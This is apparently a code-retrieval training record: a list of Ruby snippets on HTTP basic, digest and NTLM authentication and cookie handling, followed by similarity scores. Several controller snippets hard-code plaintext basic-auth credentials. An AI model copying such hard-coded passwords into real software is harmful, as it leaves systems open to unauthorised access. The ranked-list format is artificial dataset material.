nil\n pass = @options[:pass] || nil\n\n request.basic_auth user, pass\n request\n end", "def capable_plain_auth?; end", "def generate_header(req, opts)\n\n @nonce_count += 1\n\n user, pass = o(opts, :digest_authentication)\n realm = @challenge.realm || ''\n method = req.class.const_get(:METHOD)\n path = req.path\n\n a1 = if @challenge.algorithm == 'MD5-sess'\n h(h(user, realm, pass), @challenge.nonce, @cnonce)\n else\n h(user, realm, pass)\n end\n\n a2, qop = if @challenge.qop.include?(\"auth-int\")\n [ h(method, path, h(req.body)), \"auth-int\" ]\n else\n [ h(method, path), \"auth\" ]\n end\n\n nc = ('%08x' % @nonce_count)\n\n digest = h(\n #a1, @challenge.nonce, nc, @cnonce, @challenge.qop, a2)\n a1, @challenge.nonce, nc, @cnonce, \"auth\", a2)\n\n header = \"\"\n header << \"Digest username=\\\"#{user}\\\", \"\n header << \"realm=\\\"#{realm}\\\", \"\n header << \"qop=\\\"#{qop}\\\", \"\n header << \"uri=\\\"#{path}\\\", \"\n header << \"nonce=\\\"#{@challenge.nonce}\\\", \"\n #header << \"nc=##{nc}, \"\n header << \"nc=#{nc}, \"\n header << \"cnonce=\\\"#{@cnonce}\\\", \"\n header << \"algorithm=\\\"#{@challenge.algorithm}\\\", \"\n #header << \"algorithm=\\\"MD5-sess\\\", \"\n header << \"response=\\\"#{digest}\\\", \"\n header << \"opaque=\\\"#{@challenge.opaque}\\\"\"\n\n header\n end", "def authenticate\n authenticate_or_request_with_http_basic do |user_name, password|\n # Change these to username and password required\n user_name == \"shitlister\" && password == \"letmein\"\n end\n end", "def validate\n return false unless @digest_parts.any? # RUBY\n\n a2 = @request.method + ':' + @digest_parts['uri']\n\n if @digest_parts['qop'] == 'auth-int'\n # Making sure we support this qop value\n return false unless @qop & QOP_AUTHINT\n\n # We need to add an md5 of the entire request body to the A2 part of the hash\n body = @request.body_as_string\n @request.body = body\n\n a2 << ':' + ::Digest::MD5.hexdigest(body)\n else\n # We need to make sure we support this qop value\n return false unless @qop & QOP_AUTH\n end\n\n a2 = ::Digest::MD5.hexdigest(a2)\n valid_response = ::Digest::MD5.hexdigest(\"#{@a1}:#{@digest_parts['nonce']}:#{@digest_parts['nc']}:#{@digest_parts['cnonce']}:#{@digest_parts['qop']}:#{a2}\")\n\n @digest_parts['response'] == valid_response\n end", "def http_get_auth_resource(location, username,password, depth)\n\n unless depth > 0\n @task_result.logger.log_error \"Too many redirects\"\n exit\n end\n\n uri = URI.parse(location)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri,{\"User-Agent\" => \"Intrigue!\"})\n request.basic_auth(username,password)\n response = http.request(request)\n\n if response == Net::HTTPRedirection\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n elsif response == Net::HTTPMovedPermanently\n @task_result.logger.log \"Redirecting to #{response['location']}\"\n http_get_auth_resource(response['location'],username,password, depth-1)\n else\n @task_result.logger.log \"Got response: #{response}\"\n end\n\n response\n end", "def http_authorization_to_creds\n @auth ||= Rack::Auth::Basic::Request.new request.env\n return unless @auth.provided? && @auth.basic?\n\n @auth.credentials\n end", "def send_auth(res, opts, t, persist)\n if opts['username'].nil? or opts['username'] == ''\n if self.username and not (self.username == '')\n opts['username'] = self.username\n opts['password'] = self.password\n else\n opts['username'] = nil\n opts['password'] = nil\n end\n end\n\n return res if opts['username'].nil? or opts['username'] == ''\n supported_auths = res.headers['WWW-Authenticate']\n\n # if several providers are available, the client may want one in particular\n preferred_auth = opts['preferred_auth']\n\n if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')\n opts['headers'] ||= {}\n opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )\n req = request_cgi(opts)\n res = _send_recv(req,t,persist)\n return res\n elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')\n temp_response = digest_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')\n opts['provider'] = 'NTLM'\n temp_response = negotiate_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')\n opts['provider'] = 'Negotiate'\n temp_response = negotiate_auth(opts)\n if temp_response.kind_of? Rex::Proto::Http::Response\n res = temp_response\n end\n return res\n end\n return res\n end", "def credentials(authorization, request); end", "def authenticate_user(request)\n @log.info(\"Authentication user #{@username}\")\n request.basic_auth(@username, @password)\nend", "def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end", "def http_auth_header?; end", "def authenticate(controller, realm, &password_procedure)\n authorization(controller.request) && validate_digest_response(controller.request, realm, &password_procedure)\n end", "def authenticate_user_with_basic_auth!\n @username, @password = ActionController::HttpAuthentication::Basic::user_name_and_password(request)\n\n request_http_basic_authentication(ENV[\"REALM\"], \"An Authentication object was not found in the SecurityContext\") if @username.blank? || @password.blank?\n end", "def prepare_basic_auth(request)\n user = @options[:user] || nil\n pass = @options[:pass] || nil\n\n request.basic_auth user, pass\n request\n end", "def add_auth(uri, user, password, realm = T.unsafe(nil), domain = T.unsafe(nil)); end", "def add_auth(uri, user, password, realm = T.unsafe(nil), domain = T.unsafe(nil)); end", "def authenticate\n authed = true\n if(resource.respond_to?(:authenticate, true))\n authed = false\n uname = nil\n password = nil\n if(request.env['HTTP_AUTHORIZATION'])\n auth = Rack::Auth::Basic::Request.new(request.env)\n if(auth.basic? && auth.credentials)\n uname = auth.credentials[0]\n password = auth.credentials[1]\n end\n end\n authed = resource.send(:authenticate, uname, password)\n end\n raise Unauthorized unless authed\n end", "def parse(www_authenticate); end", "def auth\n if request.get?\n show_auth\n elsif request.post?\n check_auth\n end\n end", "def add_auth uri, user, password, realm = nil, domain = nil\n @agent.add_auth uri, user, password, realm, domain\n end", "def host_authorization; end", "def host_authorization; end", "def authenticate(request)\n\n end", "def authenticate( req )\n\t\treq.server.log_error \"StageLogger {%d}>> in RubyAuthenHandler authenticate(%p)\" % \n\t\t\t[ Process.pid, req ]\n\n\t\treq.auth_type = 'Basic'\n\t\treq.auth_name = 'StageLogger'\n\t\treq.user = 'stagelogger'\n\n\t\treturn Apache::OK\n\tend", "def require_http_basic_auth\n if APP_CONFIG['perform_authentication']\n authenticate_or_request_with_http_basic do |login, password|\n login==APP_CONFIG['username'] and password == APP_CONFIG['password']\n end\n end\n end", "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "def respond\n if http_auth?\n http_auth\n else\n redirect\n end\n end", "def basic_auth_header(username,password)\n auth_str = username.to_s + \":\" + password.to_s\n auth_str = \"Basic \" + Rex::Text.encode_base64(auth_str)\n end", "def basic_auth(username:, password:, realm: 'Instrumentation')\n authenticate_or_request_with_http_basic(realm) \\\n do |given_name, given_password|\n ActiveSupport::SecurityUtils.secure_compare(given_name, username) &\n ActiveSupport::SecurityUtils.secure_compare(\n given_password, password\n )\n end\n end", "def basic_auth(url, username, password, _include_data = true)\n # This block is to ensure that only urls are encoded if they need it.\n # This is to prevent already encoded urls being re-encoded, which can lead to % being replaced with %25.\n begin\n URI.parse(url)\n rescue URI::InvalidURIError\n url = Addressable::URI.escape(url)\n end\n\n begin\n auth_params = {}\n auth_params[:http_basic_authentication] = [username, password] unless username.nil? && password.nil?\n\n URI.open(url, auth_params) do |f|\n # FIXME: need to handle full range of 2xx success responses, in particular where the response is only partial\n if f.status[0] == '200'\n result = { content_type: f.content_type, filename: determine_filename(f) }\n result = cache f, result, url, username, password\n return result\n else\n fail DownloadException.new(\"Problem fetching data from remote site - response code #{thing.status[0]}, url: #{url}\")\n end\n end\n rescue OpenURI::HTTPError => error\n raise DownloadException.new(\"Problem fetching data from remote site - response code #{error.io.status[0]}, url:#{url}\")\n end\n end", "def authorized?\n @auth ||= Rack::Auth::Basic::Request.new(request.env)\n user = ENV[\"HTTP_USER\"]\n pass = ENV[\"HTTP_PASS\"]\n @auth.provided? && @auth.basic? && @auth.credentials && @auth.credentials == [user, pass]\n end", "def auth\n basic_auth(env) { |user, pass| yield(user, pass) }\n end", "def process_type1_auth(ntlm, request, response)\n t1 = request.ntlm_token\n t2 = ntlm.accept_security_context(t1)\n\n response.start(401) do |head,out|\n head['WWW-Authenticate'] = \"NTLM #{t2}\"\n end\n \n response.ntlm_finished\n end", "def authenticate\n # logger.debug(\"APP: authorization: #{temp_debug(request)}\")\n set_last_uri\n return true unless application_user.nil?\n # logger.info(\"Header NOT-SET = #{request.headers['NOT-SET'].inspect}\")\n if request.env.has_key? \"REMOTE_USER\"\n logger.info(\"REMOTE_USER = #{request.env[\"REMOTE_USER\"]}\")\n apache_authenticate\n elsif request.headers.has_key?('HTTP_X_FORWARDED_USER')\n logger.info(\"Header HTTP_X_FORWARDED_USER = #{request.headers['HTTP_X_FORWARDED_USER']}\")\n proxy_apache_authenticate\n elsif Rails.env == \"test\"\n logger.info(\"Authenticate via test\")\n testing_authenticate\n elsif NONE_AUTHENTICATE\n logger.info(\"Authenticate via none\")\n none_authenticate\n else\n ldap_authenticate\n end\n end", "def test_double_auth\n count = 0\n\n auth_backend = Auth::Backend::BasicCallBack.new(\n lambda do |_user_name, _password|\n count += 1\n true\n end\n )\n @server.add_plugin(\n Auth::Plugin.new(\n auth_backend\n )\n )\n request = Http::Request.new(\n 'HEAD',\n '/file1',\n 'Authorization' => \"Basic #{Base64.strict_encode64('user:pass')}\"\n )\n response = self.request(request)\n\n assert_equal(200, response.status)\n assert_equal(1, count, 'Auth was triggered twice :(')\n end", "def authenticate(auth_password)\n if(password_digest)\n password_digest == checksum(auth_password)\n else\n false\n end\n end", "def authenticate\n authenticate_or_request_with_http_basic do |name, password|\n name == \"blogmaster\" && password == \"senha\"\n end\n end", "def expected_response(http_method, uri, credentials, password, password_is_ha1 = T.unsafe(nil)); end", "def capable_cram_md5_auth?; end", "def credentials_for uri, realm\n uri = URI uri unless URI === uri\n\n uri += '/'\n uri.user = nil\n uri.password = nil\n\n realms = @auth_accounts[uri]\n\n realms[realm] || realms[nil] || @default_auth\n end", "def http_login(username, password)\n @request.env['HTTP_AUTHORIZATION'] = \"Basic #{Base64.encode64(username << ':' << password)}\"\n end", "def get(req)\n target_uri = req.header.request_uri\n param = Util.hash_find_value(@challenge) { |uri, param|\n Util.uri_part_of(target_uri, uri)\n }\n return nil unless param\n user, passwd = Util.hash_find_value(@auth) { |uri, auth_data|\n Util.uri_part_of(target_uri, uri)\n }\n return nil unless user\n uri = req.header.request_uri\n calc_cred(req.header.request_method, uri, user, passwd, param)\n end", "def authentication_hash=(_arg0); end", "def parse_digest(digest)\n # protect against missing data\n needed_parts = { 'nonce' => 1, 'nc' => 1, 'cnonce' => 1, 'qop' => 1, 'username' => 1, 'uri' => 1, 'response' => 1 }\n data = {}\n\n digest.scan(/(\\w+)=(?:(?:\")([^\"]+)\"|([^\\s,$]+))/) do |m1, m2, m3|\n data[m1] = m2 ? m2 : m3\n needed_parts.delete m1\n end\n\n needed_parts.any? ? nil : data\n end", "def authenticate_if_needed\n # Disable this extra authentication in test mode\n return true if Rails.env.test?\n if (is_hidden || is_staging) && !is_api_or_pdf\n authenticate_or_request_with_http_basic do |username, password|\n username == \"samvera\" && password == \"hyku\"\n end\n end\n end", "def auth\n end", "def auth\n end" ]
[ "0.8140084", "0.80309665", "0.8004133", "0.79016984", "0.7622488", "0.7224383", "0.7205974", "0.71702135", "0.7162832", "0.6940238", "0.68650156", "0.67974234", "0.67677224", "0.6741412", "0.6683184", "0.666057", "0.66482586", "0.66218793", "0.66158956", "0.65318435", "0.6476305", "0.6449142", "0.6423389", "0.6417024", "0.63938844", "0.6387806", "0.6381716", "0.6368313", "0.6363492", "0.6337849", "0.63243943", "0.632254", "0.63041496", "0.62664145", "0.6259671", "0.62572557", "0.6255138", "0.6240512", "0.62375504", "0.6226122", "0.62246925", "0.61805046", "0.61733997", "0.6172428", "0.6172222", "0.61705613", "0.61666584", "0.61634547", "0.611297", "0.60958314", "0.6095081", "0.6092969", "0.60871667", "0.6084153", "0.60766685", "0.60313493", "0.6027856", "0.602645", "0.60251606", "0.6020689", "0.6015812", "0.59944946", "0.59583694", "0.5956858", "0.59349024", "0.59341127", "0.5930647", "0.5923732", "0.5923732", "0.5910987", "0.59033895", "0.5895227", "0.58926284", "0.5888547", "0.5888547", "0.5883138", "0.58815825", "0.58675104", "0.5852499", "0.5852499", "0.5849722", "0.58473754", "0.5842696", "0.5835032", "0.5826186", "0.5824704", "0.58220655", "0.58170915", "0.581657", "0.5797634", "0.57692856", "0.5768786", "0.57684606", "0.5766444", "0.57632387", "0.57607377", "0.5759476", "0.57573205", "0.57563496", "0.57563496" ]
0.6452887
21
Adds the cookie header. ConstantContact uses some sort of load balancer and requires cookies to keep track of session state. Without rudimentary cookie support, interfacing with the API is impossible.
def add_cookies!(request) request['Cookie'] = @cookies.collect{|k, v| "#{k}=#{v}"}.join(", ") end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_cookie(cookie=nil)\n self.headers[\"Cookie\"] = cookie\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def add_cookie_if_needed(req)\n req.headers = { \"Cookie\" => conn.headers[\"Cookie\"] } unless conn.headers[\"Cookie\"].nil?\n end", "def set_cookie(key, value)\n ::Rack::Utils.set_cookie_header!(@_headers, key, value)\n end", "def set_cookie(key, value)\n ::Rack::Utils.set_cookie_header!(@_headers, key, value)\n end", "def set_cookie options\n options ||= {}\n \n @header[\"Set-Cookie\"] = options.collect{|key,value|\"#{key}=#{value}\"}.join(\"; \")\n end", "def cookie_add(name, value=nil)\n return dup_without_response.cookie_add(name, value) if response\n\n cookies_string = HTTY::CookiesUtil.cookies_to_string(cookies +\n [[name.to_s, value]])\n if cookies_string\n @headers[COOKIES_HEADER_NAME] = cookies_string\n else\n @headers.delete COOKIES_HEADER_NAME\n end\n self\n end", "def set_cookie(env, headers, cookie)\n Utils.set_cookie_header!(headers, @key, cookie)\n end", "def set_cookie(options) #:doc:\n options[\"path\"] = \"/\" unless options[\"path\"]\n cookie = CGI::Cookie.new(options)\n @controller.logger.info \"Cookie set: #{cookie}\" unless @controller.logger.nil?\n @controller.response.headers[\"cookie\"] << cookie\n end", "def add_cookie(cookie, value = nil)\n @response_cookies ||= {}\n\n if value\n @response_cookies[cookie] = Cookie.new(cookie, value)\n else \n @response_cookies[cookie.name] = cookie\n end\n end", "def add_set_cookie *ck\n\t\t\tif ck.length > 0\n\t\t\t\th = (@headers[\"Set-cookie\"] ||= [])\n\t\t\t\tck.each {|c| h << c}\n\t\t\tend\n\t\tend", "def set_cookie(env, headers, cookie)\n request = Rack::Request.new(env)\n if request.cookies[@key] != cookie[:value] || cookie[:expires]\n Utils.set_cookie_header!(headers, @key, cookie)\n end\n end", "def prepare_headers\n if @session_cookie\n @headers['cookie'] = @session_cookie\n end\n super\n end", "def cookie\n @cookie ||= Coca::AuthCookie.new(cookies, scope)\n end", "def add_cookie(cookie)\n domain_paths = find_or_add_domain_for_cookie cookie\n add_cookie_to_path domain_paths, cookie\n cookie\n end", "def add_cookies(headers)\n cookies = headers[:cookie]\n cookies_hash = Hash.new\n return false unless cookies\n cookies.split('&').each do |string|\n k,v = string.split('=')\n cookies_hash[convert_key(k)] = v\n end\n @params[:cookie] = cookies_hash\n end", "def get_cookie\n resp = @cookie\n if @atl_token != \"\"\n resp = resp + \"; atl.xsrf.token=#{@atl_token}\"\n end\n puts \"Using cookie: #{resp}\".yellow\n resp\n end", "def set_cookie(name, value, path = '/', httponly = true, secure = true)\n \n cookie = WEBrick::Cookie.new(name, value)\n cookie.path = path\n cookie.httponly = httponly\n cookie.secure = secure\n \n # add cookie to response header\n @header['Set-Cookie'] = cookie.to_s\n end", "def build_cookie_header cookies\r\n cookies.to_a.map { |a| a.join '=' }.join '; '\r\n end", "def send_cookie(name, value = nil)\n @context.add_cookie(name, value)\n end", "def cookie\n self[HttpClient::SET_COOKIE]\n end", "def set_cookie(name, value, attributes = {})\n cookie = Webmachine::Cookie.new(name, value, attributes).to_s\n case headers['Set-Cookie']\n when nil\n headers['Set-Cookie'] = [cookie]\n when Array\n headers['Set-Cookie'] << cookie\n end\n end", "def set_cookie(cookie, uri = nil)\n cookie_jar.merge(cookie, uri)\n end", "def use_cookies= bool\n if bool && (!@headers['Cookie'] || @headers['Cookie'].empty?)\n cookie = Kronk.cookie_jar.get_cookie_header @uri.to_s\n @headers['Cookie'] = cookie unless cookie.empty?\n\n else\n @headers.delete 'Cookie'\n end\n\n @use_cookies = bool\n end", "def http_cookie=(content)\n logger.debug { content ? \"Setting Cookie: #{content}\" : 'Clearing Cookie' }\n http.cookie = content\n end", "def cookie=(val)\n @xmlrpc.cookie = val\n end", "def use_cookies= bool\n if bool && (!@headers['Cookie'] || @headers['Cookie'].empty?)\n cookie = Kronk.cookie_jar.get_cookie_header @uri.to_s\n @headers['Cookie'] = cookie unless cookie.empty?\n\n elsif !bool\n @headers.delete 'Cookie'\n end\n\n @use_cookies = bool\n end", "def add_cookies(response)\n return unless response.key?('set-cookie')\n response.get_fields('set-cookie').each do |cookie|\n (key, val) = cookie.split('; ')[0].split('=', 2)\n cookies[key] = val\n end\n end", "def add(cookie)\n # self\n end", "def set_cookie(response)\n\t\ttest_cookie = response.get_fields('set-cookie')\n\n\t\tif @cookie_array.include? test_cookie\n\t\t\t@cookies\n\t\telse\n\t\t\t@cookie_array << test_cookie\n \t\t\t@cookies = @cookie_array.join('; ')\n \t\tend\n\t\t#@cookies = response.get_fields('set-cookie')\n\tend", "def set_cookie(name, value, expires)\n (headers['Set-Cookie'] ||=[]) << (Merb::Const::SET_COOKIE % [\n name.to_s, \n ::Merb::Request.escape(value.to_s), \n # Cookie expiration time must be GMT. See RFC 2109\n expires.gmtime.strftime(Merb::Const::COOKIE_EXPIRATION_FORMAT)\n ])\n end", "def get_cookie\n self.headers[\"Cookie\"]\n end", "def get_cookie_header(request_uri, opts = {})\n cookies = get_cookies request_uri, opts\n ver = [[], []]\n cookies.each do |cookie|\n ver[cookie.version] << cookie\n end\n if ver[1].empty?\n # can do a netscape-style cookie header, relish the opportunity\n cookies.map(&:to_s).join ';'\n else\n # build a RFC 2965-style cookie header. Split the cookies into\n # version 0 and 1 groups so that we can reuse the '$Version' header\n result = ''\n unless ver[0].empty?\n result << '$Version=0;'\n result << ver[0].map do |cookie|\n (cookie.to_s 1, false)\n end.join(';')\n # separate version 0 and 1 with a comma\n result << ','\n end\n result << '$Version=1;'\n ver[1].map do |cookie|\n result << (cookie.to_s 1, false)\n end\n result\n end\n end", "def <<( cookie )\n\t\t@cookie_set.delete( cookie )\n\t\t@cookie_set.add( cookie )\n\n\t\treturn self\n\tend", "def add_cookie(key,value)\n $LOG.info \"adding cookie with key => #{key} and value => #{value}\"\n begin\n $driver.manage.add_cookie(:name => \"#{key}\", :value => \"#{value}\")\n rescue Exception => e\n $LOG.error \"Add Cookie can't be completed \"+e.message\n raise \"Add Cookie can't be completed \"+e.message\n end\n end", "def login_headers(request)\n if @cookie\n request['Cookie'] = @cookie\n else\n request['Fastly-Key'] = config[:key]\n end\n\n request\n end", "def cookies() @_cookies ||= ::Merb::Cookies.new(request.cookies, @_headers) end", "def initialize\n @headers = {\"User-Agent\" => \"cookies\"}\n end", "def set_cookies\n session_key = request.session_options[:id]\n\n if(!session_key.nil?)\n # Set the cookie the standard way (Set-Cookie)\n response.set_cookie(MOBILE_KEY, session_key)\n # Set the cookie the way the Android client expects it (set-cookie)\n headers[\"set-cookie\"] = headers[\"Set-Cookie\"]\n end\n end", "def stash_cookie\n cookies[self.class.els_options['cookie']] = {\n :value => @els_identity.token_id,\n :domain => request.env[\"SERVER_NAME\"],\n :path => '/',\n :expires => Time.now + 24.hours\n }\n end", "def extract_cookie(cookie)\n <<-VCL\nif(cookie.isset(\"#{cookie}\")) {\n set req.http.X-COOKIE-#{cookie} = cookie.get(\"#{cookie}\");\n}\n VCL\nend", "def http_cookie\n http.cookie\n end", "def set_cookies(response)\n cookie_str = response.header['set-cookie']\n return if cookie_str.nil?\n\n fields = cookie_str.split(\"; \").inject({}) { |h, field|\n key, value = field.split(\"=\")\n h[key] = value\n\n h\n }\n\n # This is obviously not a generalized cookie implementation. Heh.\n fields.delete('path')\n @cookies = fields\n end", "def set_cookie!\n cookies[:user_session] = {\n :value => token,\n :secure => controller.request.ssl?,\n :httponly => true,\n :expires => self.expires_at\n }\n end", "def add_authentication_to(request=nil)\n if @auth_token\n request.headers['Cookie'] = \"AuthToken=#{@auth_token}\"\n request.headers['AuthToken'] = @auth_token\n else\n raise \"The connection can't authenticate. Check if the auth_token is being set by the server\"\n end\n end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def push_to_headers\n unless @session.nil?\n response.headers['sid'] = @session.id\n response.headers['utoken'] = @session.utoken\n end\n end", "def set_cookie_value\n cookie_value = User.using_client_shard(client: @client).get_cookie_value(@user.id, @user.password, @browser_user_agent)\n success_with_data({cookie_value: cookie_value, user_token_sale_state: @user.get_token_sale_state_page_name})\n end", "def set_cookie(response)\n response.set_cookie(Webmetrics::Config.cookie_name, {\n :value => self.id,\n :path => \"/\",\n :expires => Time.now+Webmetrics::Config.cookie_expiration\n })\n end", "def add_cookie(opts = {})\n driver.manage.add_cookie(opts)\n end", "def set_WithCookie(value)\n set_input(\"WithCookie\", value)\n end", "def set_contact_token\r\n @contact_token = cookies[:mints_contact_id]\r\n end", "def cookie\n { :value => Crypt.encrypt(cookie_value), :expires => 1.year.from_now }\n end", "def passive\n m=[]\n m << {:name=>\"CAKEPHP Cookie\" } if @headers[\"set-cookie\"] =~ /CAKEPHP=.*/\n m\nend", "def cookies\n @cookies ||= (self.headers[:set_cookie] || \"\").split('; ').inject({}) do |out, raw_c|\n key, val = raw_c.split('=')\n unless %w(expires domain path secure).member?(key)\n out[key] = val\n end\n out\n end\n end", "def cookie\n @xmlrpc.cookie\n end", "def set_cookie(name, value)\n @cookies[\"flexi_#{@id}_#{name}\"] = value\n return value\n end", "def cookies\n HTTY::CookiesUtil.cookies_from_string @headers[COOKIES_HEADER_NAME]\n end", "def set_cookie\n self.current_user.remember\n cookies[:auth_token] = { \n :value => self.current_user.remember_token, \n :expires => self.current_user.remember_token_expires_at }\n end", "def <<(new_cookie)\n @cookies.reject! do |existing_cookie|\n new_cookie.replaces?(existing_cookie)\n end\n\n @cookies << new_cookie\n @cookies.sort!\n end", "def install_persistent_cookie(name, cookie)\n cookies[name] = {\n :value => cookie,\n :expires => 10.years.from_now\n }\n end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def add_to_cookie key, value\n cookie_hash = get_accesses_cookie\n cookie_hash[key] = value\n cookies[:accesses] = cookie_hash.to_json\n end", "def call(env)\n result = Cookiefilter.filter_request_cookies(env['HTTP_COOKIE'])\n env['HTTP_COOKIE'] = result[:header]\n status, headers, body = @app.call(env)\n response = Rack::Response.new body, status, headers\n header = Cookiefilter.filter_response_cookies(\n env['HTTP_HOST'],\n response.header['Set-Cookie'],\n result\n )\n response.header['Set-Cookie'] = header\n response.finish\n end", "def hubssolib_set_secure_cookie_data(name, value)\n if (@hubssolib_have_written_cookie)\n raise \"HubSsoLib: Attmept to set cookie '#{name}' more than once\"\n end\n\n @hubssolib_have_written_cookie = true\n\n # Using cookies.delete *should* work but doesn't. Set the\n # cookie with nil data instead.\n\n data = value.nil? ? nil : HubSsoLib::Crypto.encode_object(value, request.remote_ip)\n\n # No expiry time; to aid security, use session cookies only.\n\n cookies[name] = {\n :value => data,\n :path => HUBSSOLIB_COOKIE_PATH,\n :secure => true\n }\n end", "def default_headers\n headers = { 'Content-Type': 'application/json; charset=utf-8' }\n\n headers['Cookie'] = \"ap_session=#{@session.session_id}\" if @session\n\n headers\n end", "def cookie_name\n super\n end", "def add_header(header)\n @headers.merge!(header)\n end", "def commit_session( headers )\n \n # store in environment\n cookie = { }\n cookie[ :value ] = session_cookie\n cookie[ :expires ] = Time.now + expire_after if expire_after\n\n ::Rack::Utils.set_cookie_header!( headers, SessionKey, cookie.merge( @options ) )\n\n return true\n \n end", "def request_headers\n return nil unless @response\n Hash[\n 'Cookie' => %Q!mansession_id=\"#{@response.session_id}\"!\n ]\n end", "def cookie_named(name); end", "def set_cookie(cookie_name, value, expires)\n cookies[cookie_name.to_sym] = {\n value: value,\n expires: expires,\n domain: GlobalConstant::Base.cookie_domain,\n http_only: true,\n secure: Rails.env.production?,\n same_site: :strict\n }\n end", "def fortune_cookie; end", "def new\n\t\tcookies[:sign_up] = { value: \"XJ-122\", expires: 1.hour.from_now }\n\t\tsuper\n\tend", "def cookies\n WEBrick::Cookie.parse_set_cookies(headers['Set-Cookie']) rescue []\n end", "def merge_cookie old_cookie\n return config['cookie'] if old_cookie.nil?\n DhEasy::Core::Helper::Cookie.update old_cookie, config['cookie']\n end", "def set_headers! session = nil\n response.headers['sid'] = session.id\n response.headers['utoken'] = session.utoken\n end", "def cookies\n WEBrick::Cookie.parse_set_cookies(@headers['set-cookie']) rescue []\n end", "def getCookie()\n return @cookie\n\tend", "def add_token_to_cookie(cookies)\n token = SecureRandom.urlsafe_base64()\n @user.update(token: token)\n cookies['token'] = token\n create_return_object()\n end", "def cookie_to_record(cookie)\n cookie.instance_eval {\n [\n @httponly ? HTTPONLY_PREFIX + dot_domain : dot_domain,\n @for_domain ? True : False,\n @path,\n @secure ? True : False,\n expires.to_i,\n @name,\n @value\n ]\n }.join(\"\\t\") << @linefeed\n end", "def cookie_hash\n\t\t\t{ 'Cookie' => @cookies.to_s }\n\t\tend", "def add_headers; end", "def make_request_headers(opts)\n headers = opts.headers\n\n # Tell the server to keep the conn open\n headers[Headers::CONNECTION] = default_options.persistent? ? Connection::KEEP_ALIVE : Connection::CLOSE\n\n cookies = opts.cookies.values\n\n unless cookies.empty?\n cookies = opts.headers.get(Headers::COOKIE).concat(cookies).join(\"; \")\n headers[Headers::COOKIE] = cookies\n end\n\n headers\n end", "def add_header key, value\n\t\t\t@headers ||= {}\n\t\t\t@headers[key] = value\n\t\tend", "def cookie_fix(env)\n params = @request.params\n \n if params['_session_id']\n session = ActiveSupport::JSON.decode(params['_session_id'])\n\n unless (@request.cookies['fbs_' + Facebook::APP_ID.to_s].present?)\n session = session.map { |key, value| key.to_s + \"=\" + value.to_s }.join(\"&\")\n @response.set_cookie('fbs_' + Facebook::APP_ID.to_s, session)\n end\n end\n\n @response.headers.delete \"Content-Type\"\n @response.headers.delete \"Content-Length\"\n @response.headers.delete \"X-Cascade\"\n\n if defined?(OmniAuth) and defined?(Devise)\n mappings = Devise.mappings[:user]\n\n if mappings.controllers.has_key? :omniauth_callbacks\n path = [mappings.path, 'auth', :facebook.to_s, 'callback'].join('/')\n @response.redirect(path + \"?#{params['redirect_to'].to_query('redirect_to')}\")\n else\n @response.redirect(\"/?#{params['redirect_to'].to_query('redirect_to')}\")\n end\n else\n @response.redirect((params['redirect_to'] ? params['redirect_to'] : '/'))\n end\n\n [302, @response.headers, ['Cookie Setted']]\n end", "def cookie(params = nil)\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"cookie \" + params.to_s + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end", "def cookie(cookie)\n raise \"No HTTP-session attached to this thread.\" if !_httpsession\n raise \"HTTP-session not active.\" if !_httpsession.resp\n raise \"Not a hash: '#{cookie.class.name}', '#{cookie}'.\" unless cookie.is_a?(Hash)\n _httpsession.resp.cookie(cookie)\n return nil\n end", "def set_api_cookie!\n return unless @session_object\n\n session.delete :value\n @session_object.to_hash.each { |k, v| session[k] = v }\n end", "def cookie(name, value = nil, duration = 15)\n if value\n response.set_cookie name, { \n :value => value,\n :expires => Time.now + (60 * duration),\n :path => \"/\",\n :httponly => true,\n :secure => production?\n }\n else\n request.cookies[name]\n end\n end", "def delete_cookie(key, value = {})\n Rack::Utils.delete_cookie_header!(@headers, key, value)\n end", "def do_write!(cookie_name, spec)\n @controller.write_cookie! cookie_name, spec.merge(same_site: self.class.cookie_same_site)\n @controller.write_cookie! \"#{cookie_name}_legacy\", spec\n end" ]
[ "0.76521266", "0.731316", "0.731316", "0.71901065", "0.6801736", "0.6801736", "0.6748858", "0.6699186", "0.6677854", "0.6647973", "0.660693", "0.65921175", "0.65733856", "0.6489146", "0.6437071", "0.6402867", "0.6314517", "0.63123614", "0.6310303", "0.62880844", "0.628167", "0.6278556", "0.62637436", "0.62206346", "0.61933863", "0.6171491", "0.6161652", "0.61573064", "0.6149399", "0.610777", "0.60815054", "0.60771745", "0.6067019", "0.6066886", "0.60628814", "0.60602474", "0.6057375", "0.6025664", "0.6021394", "0.59876585", "0.594629", "0.59332174", "0.59327334", "0.59191763", "0.59181637", "0.5897164", "0.5889083", "0.5889083", "0.5849353", "0.581744", "0.5812933", "0.5786912", "0.5762043", "0.5755175", "0.5754516", "0.5744468", "0.57418495", "0.57039946", "0.5699795", "0.56994355", "0.5688325", "0.56727946", "0.56678134", "0.56600666", "0.56600666", "0.56600666", "0.56600666", "0.56600666", "0.56600666", "0.56600666", "0.56400555", "0.56396914", "0.5633058", "0.5622059", "0.5600913", "0.5576568", "0.5570261", "0.55580586", "0.5555631", "0.5550675", "0.5532231", "0.5525861", "0.5525473", "0.55117035", 